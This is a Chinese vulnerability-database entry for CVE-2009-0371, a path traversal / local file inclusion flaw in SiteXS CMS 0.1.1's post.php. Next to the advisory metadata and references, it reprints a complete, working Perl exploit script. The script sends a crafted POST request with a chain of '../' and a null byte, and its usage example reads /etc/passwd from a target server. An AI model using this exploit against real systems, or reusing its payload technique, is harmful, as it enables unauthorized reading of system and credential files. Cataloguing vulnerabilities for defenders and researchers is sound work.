SiteXS CMS 脚本post.php 目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117292 漏洞类型 路径遍历
发布时间 2009-01-26 更新时间 2009-02-02
CVE编号 CVE-2009-0371 CNNVD-ID CNNVD-200901-464
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7879
https://cxsecurity.com/issue/WLB-2009020077
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-464
|漏洞详情
SiteXSCMS是基于PHP+MySQL的网站内容管理系统。SiteXSCMS0.1.1及之前版本中的post.php存在目录遍历漏洞。远程攻击者可以借助参数类型中的".."(参数中包含'..'),包含和运行任意的本地文件。
|漏洞EXP
# --+++==========================================================+++--
# --+++====== SiteXS <= 0.1.1 Local File Inclusion Exploit ======+++--
# --+++==========================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage ()
{
	die "\n\nSiteXS <= 0.1.1 Local File Inclusion Exploit".
	    "\n[+] Author  : darkjoker".
	    "\n[+] Site    : http://darkjoker.net23.net".
	    "\n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz".
	    "\n[+] Usage   : perl ${0} <hostname> <path> <file>".
	    "\n[+] Ex.     : perl ${0} localhost /SiteXS /etc/passwd".
	    "\n[+] Notes   : Have fun\n\n";
}

my ($host, $path, $file) = @ARGV;

usage if (!$file);

my $sock = new IO::Socket::INET (
	PeerHost => $host,
	PeerPort => 80,
	Proto    => "tcp",
);

my $up = "../"x10;

$file =~ s/^\/// if ($file =~ /^\//);

my $varz = "type=${up}${file}%00";

my $post = "POST ${path}/post.php HTTP/1.1\r\n".
	"Host:	${host}\r\n".
	"Connection: Close\r\n".
	"Content-Type: application/x-www-form-urlencoded\r\n".
	"Content-Length: " . length ($varz) . "\r\n\r\n".
	$varz;

print $sock $post;

my $w = 0;

while (<$sock>)
{
	$w = 1 if ($w < 0);
	$w = -1 if ($_ =~ /Content-Type: text\/html/);
	$w = 0 if ($_ =~ /<br \/>/);
	print $_ if ($w == 1);

}

print "\n\n";

close ($sock);

# milw0rm.com [2009-01-26]
|参考资料

来源:XF
名称:sitexs-type-file-include(48236)
链接:http://xforce.iss.net/xforce/xfdb/48236
来源:BID
名称:33457
链接:http://www.securityfocus.com/bid/33457
来源:MILW0RM
名称:7879
链接:http://www.milw0rm.com/exploits/7879
来源:VUPEN
名称:ADV-2009-0247
链接:http://www.frsirt.com/english/advisories/2009/0247